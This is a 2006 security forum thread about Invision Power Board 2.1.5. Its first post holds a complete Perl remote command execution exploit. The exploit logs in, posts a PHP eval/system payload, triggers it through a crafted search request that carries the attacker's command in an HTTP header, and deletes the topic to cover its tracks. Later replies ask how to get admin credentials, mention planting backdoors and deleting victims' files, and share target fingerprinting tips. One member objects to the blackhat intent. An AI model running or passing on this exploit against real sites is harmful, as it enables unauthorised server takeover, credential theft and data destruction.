|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
INVISION POWER BOARD 2.1.5 remote command execution. |
|
Posted: Tue May 09, 2006 12:48 pm |
|
|
tazz |
Beginner |
|
|
Joined: Apr 23, 2006 |
Posts: 3 |
|
|
|
|
|
|
|
Code: |
#!/usr/bin/perl
# Wed Apr 26 16:44:15 CEST 2006 jolascoaga@514.es
#
# INVISION POWER BOARD 2.1.5 <www.invisionboard.com> pr00f 0f c0ncept
#
# remote command execution. vuln credits goes to IceShaman.
#
# works only if you have perms to post a comment. Exploit with replye is
# in my TODO...
#
# 514 still r0xing.
# !dSR the hardc0re hax0rs ;)
# There is no kwel comments in this release, wait for next upgrade
#######################################################################/
use LWP::UserAgent;
use HTTP::Cookies;
use LWP::Simple;
use HTTP::Request::Common "POST";
use HTTP::Response;
use Getopt::Long;
use strict;
$| = 1; # ;1 = |$
my ($proxy,$proxy_user,$proxy_pass,$lang);
my ($arg_host,$debug,$ipb_user,$ipb_pass, $lang, $errors, $topic_index, $tmp_var);
my ($md5_key, $post_key, $tmp_var);
my %lang_es = (
'name' => 'Spanish Language',
'login' => "Ahora est?s identificado",
'incorrect' => "Nombre de usuario o contrase?a incorrectos",
'deleted' => "Tema Eliminado"
);
my %lang_en = (
'name' => 'English language',
'login' => "You are now logged in",
'incorrect' => "Sorry, we could not find a member using those log in details",
'deleted' => 'Topic Deleted',
);
my %lang_strings = ();
my $ua = new LWP::UserAgent(
cookie_jar=> { file => "$$.cookie" });
my $options = GetOptions (
'host=s' => \$arg_host,
'proxy=s' => \$proxy,
'proxy_user=s' => \$proxy_user,
'proxy_pass=s' => \$proxy_pass,
'ipb_user=s' => \$ipb_user,
'ipb_pass=s' => \$ipb_pass,
'lang=s' => \$lang,
'errors' => \$errors,
'debug' => \$debug);
my ($host, $forum_index) = $arg_host =~ m/(http.*?)index.*?showforum=(.*)/;
print "Host: $host\nForum Index: $forum_index\n" if $debug;
&help unless ($host);
# w0w0w0w0w0 is smarter than some one i know :D
if (!$lang) {
lang_autodetect();
print "Detected lang is: $lang_strings{'name'}\n" if $debug;
}
while (1){
print "invvy:\\> ";
my $cmd = <STDIN>;
&invvy($cmd);
}
sub invvy {
chomp (my $cmd = shift);
LWP::Debug::level('+') if $debug;
$ua->agent("Morzilla/5.0 (THIS IS AN EXPLOIT. IDS, PLZ, Gr4b ME!!!");
$ua->proxy(['http'] => $proxy) if $proxy;
my $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;
ipb_login (); # This works with redirects enabled/disabled
ipb_post(); # Post in a main forum.
ipb_exec ($cmd);
ipb_delete ($forum_index, $topic_index);
}
# guglucitos team presents:
sub help {
print "Syntax: ./$0 <url> [options]\n";
print "\t--ipb_user, --ipb_pass (needed if dont allow anonymous posts)\n";
print "\t--proxy (http), --proxy_user, --proxy_pass\n";
print "\t--lang=[es|en] (default: autodetect)\n";
print "\t--debug\n";
print "\nExample\n";
print "bash# $0 --host=http://www.somehost.com/index.php?showforum=2\n";
print "\n";
exit(1);
}
# sponsorized by coca-cola
sub lang_autodetect {
my $req = HTTP::Request->new (GET => $host."/index.php");
$ua->proxy(['http'] => $proxy) if $proxy;
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;
print $req->as_string() if $debug;
my $res = $ua->request($req);
my $html = $res->content();
if (($html =~ /Bienvenido,/) or ($html =~ /Fecha y Hora actual/)) {
%lang_strings = %lang_es;
return;
}
if (($html =~ /Welcome,/) or ($html =~ /Time is now/)) {
%lang_strings = %lang_en;
return;
}
print "Unknown lang switching to default: 'english'\n";
%lang_strings = %lang_en;
}
# login function for 2.1.5
sub ipb_login {
my $content;
my $h = $host."/index.php?act=Login&CODE=01";
print $h . "\n" if $debug;
my $req = POST $h,[
'referer' => $host,
'UserName' => $ipb_user,
'PassWord' => $ipb_pass,
'CookieDate' => 1
]; #grab these, and send to dsr!
print $req->as_string() if $debug;
my $res = $ua->request($req);
if ($errors) {
print "[+] Context: Login in\n";
print "HTTP Error code: ".$res->code()."\n";
print "HTTP Location: ".$res->header("Location")."\n";
my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s;
print "- ERROR -\nFind string: ".$lang_strings{'login'}."\n$error\n- ERROR -\n";
}
if ($res->code() eq 302) {
$content = redirect ($res->header("Location"));
} else {
$content = $res->content();
}
if ($content =~ /$lang_strings{'login'}/ or $content =~ /Logged in as/) {
print "Logged in\n" if $errors;
} else {
die "Can't log in\n";
}
}
sub redirect {
my ($addr) = @_;
my $req = HTTP::Request->new (GET => $addr);
$ua->proxy(['http'] => $proxy) if $proxy;
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;
print $req->as_string() if $debug; # MKSINK is r0xer
my $res = $ua->request($req);
my $html = $res->content();
return $html;
}
sub ipb_post {
# This is for posting into a main index.
my $h = $host."/index.php?act=post&do=new_post&f=".$forum_index;
my $req = HTTP::Request->new (GET => $h);
$ua->proxy(['http'] => $proxy) if $proxy;
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;
print $req->as_string() if $debug; #dirty_epic r0x++
my $res = $ua->request($req);
my $html = $res->content();
($md5_key) = $html =~ m/var ipb_md5_check\s+= \"(.*?)\"/;
($post_key) = $html =~ m/post_key' value='(.*?)'/;
print "AUTH check: $md5_key\n" if $debug;
print "POST key: $post_key\n" if $debug;
$tmp_var = int(rand(31337));
my $exploitme = 'eval(system(getenv(HTTP_'.$tmp_var.'))); //'; # seeeeeei la weeeeei
$h = $host."/index.php";
print $h."\n" if $debug;
my $req = POST $h, [
'st' => 0,
'act' => "Post",
's' => '',
'f' => $forum_index,
'auth_key' => $md5_key,
'removeattachid' => 0,
'MAX_FILE_SIZE' => 51200000,
'CODE' => '01',
'post_key' => $post_key,
'TopicTitle' => '514 pwned',
'TopicDesc' => '',
'poll_question' => '',
'ffont' => 0,
'fsize' => 0,
'Post' => $exploitme,
'post_htmlstatus' => 0,
'enableemo' => 'yes',
'enablesig' => 'yes',
'mod_options' => 'nowt',
'iconid' => 0,
'dosubmit' => 'Post New Topic'
];
$ua->proxy(['http'] => $proxy) if $proxy;
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;
print $req->as_string() if $debug;
my $res = $ua->request($req);
my $html = $res->content();
print "Location: ".$res->header("Location") if $debug;
($topic_index) = $res->header("Location") =~ m/showtopic=(\d+)/;
if ($errors) {
print "[+] Context: Creating post\n";
print "HTTP Error code: ".$res->code()."\n";
print "HTTP Location: ".$res->header("Location")."\n";
print "Topic Index: ".$topic_index."\n";
my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s;
print "- ERROR -\nFind string: none\n$error\n- ERROR -\n";
}
}
sub ipb_delete {
my ($fid, $tid) = @_;
my $req;
print "Deleting Topic: $tid from forum: $fid\n" if $debug;
my $h = $host."/index.php";
$req = POST $h, [
'st' => 0,
'act' => 'mod',
'f' => $fid,
'auth_key' => $md5_key,
'CODE' => '08',
't' => $tid,
'submit' => 'Delete this topic'
]; # fuck windows automatic reboot
print $req->as_string() if $debug;
$ua->proxy(['http'] => $proxy) if $proxy;
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;
my $res = $ua->request($req);
if ($errors) {
print "[+] Context: Deleting Topic\n";
print "HTTP Error code: ".$res->code()."\n";
print "HTTP Location: ".$res->header("Location")."\n";
print "Topic Index: ".$topic_index."\n";
my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s;
print "- ERROR -\nFind string: ".$lang_strings{'deleted'}."\n$error\n- ERROR -\n";
}
# yow yow
if ($res->code() eq 200) {
if ($res->content() =~ /$lang_strings{'deleted'}/) {
print "Topic $topic_index deleted\n" if $errors;
} else {
print "Maybe there was errors deleting post: $topic_index\n" if $errors;
}
}
}
# shhhhh this is hidden
sub ipb_exec {
my ($cmd) = @_;
my $h = $host."/index.php?act=Search&CODE=01";
my $req = POST $h, [
'keywords' => "HTTP_".$tmp_var,
'namesearch' => '',
'forums[]' => $forum_index,
'prune' => 0,
'prune_type' => 'newer',
'result_type' => 'posts',
'search_in' => 'posts',
'sort_key' => 'last_post',
'searchsubs' => '1'
];
print $req->as_string() if $debug;
$ua->proxy(['http'] => $proxy) if $proxy;
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;
my $res = $ua->request($req);
my $html = $res->content();
my ($redir) = $html =~ m/url_bit.*?\"(.*?)\"/;
print "Redirect to: $redir\n" if $errors; # don't ask
if ($errors) {
print "[+] Context: First search\n";
print "HTTP Error code: ".$res->code()."\n";
print "HTTP Location: ".$res->header("Location")."\n";
print "Topic Index: ".$topic_index."\n";
my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s;
print "- ERROR -\nFind string: none\n$error\n- ERROR -\n";
}
if ($res->code eq 302) {
$redir = $res->header("Location");
}
# piere - tonite is a great song
my $req = HTTP::Request->new (GET => $redir.'&lastdate=z|eval.*?%20//)%23e%00');
$ua->proxy(['http'] => $proxy) if $proxy;
$req->header($tmp_var => 'echo STARTXPL;'.$cmd.';echo ENDXPL');
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;
print $req->as_string() if $debug;
my $res = $ua->request($req);
my $html = $res->content();
$html =~ m/STARTXPL(.*?)ENDXPL/s;
print $1."\n";
# no matter with you
if ($errors) {
print "[+] Context: Executed\n";
print "HTTP Error code: ".$res->code()."\n";
print "HTTP Location: ".$res->header("Location")."\n";
print "Topic Index: ".$topic_index."\n";
my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s;
print "- ERROR -\nFind string: none\n$error\n- ERROR -\n";
}
}
# be aware with la roca peoplee
# milw0rm.com [2006-04-29]
|
This exploit works and i have tested it myself. |
|
|
|
|
|
|
|
|
Posted: Tue May 09, 2006 12:50 pm |
|
|
tazz |
Beginner |
|
|
Joined: Apr 23, 2006 |
Posts: 3 |
|
|
|
|
|
|
|
What kind of commands can i use to get the admin password and username? |
|
|
|
|
Posted: Sat May 13, 2006 6:06 pm |
|
|
Lolz666 |
Regular user |
|
|
Joined: May 05, 2006 |
Posts: 10 |
|
|
|
|
|
|
|
Yeah, i need some help with this too. I've succesfully gotten to the part where you can type in commands.
But what commands exist? I've been searching everywhere and found some video tuts. The guy just type "id" and stuff came up when i did this nothing came up, he also typed "uname -a" and stuff came up ... nuthing when i tried.
But well he used it to put in a backdoor and then wallaboom.
So what commands? |
|
|
|
|
|
|
|
|
Posted: Sat May 13, 2006 7:49 pm |
|
|
Chb |
Valuable expert |
|
|
Joined: Jul 23, 2005 |
Posts: 206 |
Location: Germany |
|
|
|
|
|
|
Lolz666 wrote: | Yeah, i need some help with this too. I've succesfully gotten to the part where you can type in commands.
But what commands exist? I've been searching everywhere and found some video tuts. The guy just type "id" and stuff came up when i did this nothing came up, he also typed "uname -a" and stuff came up ... nuthing when i tried.
But well he used it to put in a backdoor and then wallaboom.
So what commands? |
Maybe you cannot execute commands. Even if: don't try to tell us you have searched! Just look for linux/unix/windowz commands. I'm sure you'll find something. |
|
|
|
|
Posted: Tue May 16, 2006 7:49 pm |
|
|
Lolz666 |
Regular user |
|
|
Joined: May 05, 2006 |
Posts: 10 |
|
|
|
|
|
|
|
So some servers do not allow commands? I found some useful pages but still nothing seems to happen. |
|
|
|
|
Posted: Fri May 26, 2006 2:39 am |
|
|
Torian |
Regular user |
|
|
Joined: May 26, 2006 |
Posts: 8 |
|
|
|
|
|
|
|
you should be able to delete their files from there! |
|
|
|
|
Posted: Fri May 26, 2006 8:41 am |
|
|
Chb |
Valuable expert |
|
|
Joined: Jul 23, 2005 |
Posts: 206 |
Location: Germany |
|
|
|
|
|
|
Torian wrote: | you should be able to delete their files from there! |
And you should be able to let it be.
Or am I talking with a blackhat?!
To topic: Yes, it could be that you cannot execute commands, because PHP could has SAFE_MODE activated or they used the "disable_functions"-setting like it should be. In both cases error_reporting seems to be set off, so PHP doesn't show you any errors. |
|
|
|
|
Posted: Fri May 26, 2006 6:49 pm |
|
|
Lolz666 |
Regular user |
|
|
Joined: May 05, 2006 |
Posts: 10 |
|
|
|
|
|
|
|
i see...so its mostly just luck of the draw...lol
Do many servers actually operate with safe_mode off? |
|
|
|
|
|
Its workin! iam in. |
|
Posted: Sat Jul 08, 2006 10:05 pm |
|
|
sitan |
Beginner |
|
|
Joined: Jul 08, 2006 |
Posts: 3 |
|
|
|
|
|
|
|
Its workin great. but wat can i do with it. give me some commands |
|
|
|
|
|
found a way to use this exploit |
|
Posted: Sat Jul 08, 2006 10:15 pm |
|
|
sitan |
Beginner |
|
|
Joined: Jul 08, 2006 |
Posts: 3 |
|
|
|
|
|
|
|
Make a who-is look up of the site then execute the exploit. Frm the who-is u can find the type of server[unix/linux/windows/] use its commands to work on the site. |
|
|
|
|
www.waraxe.us Forum Index -> Invision Power Board
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|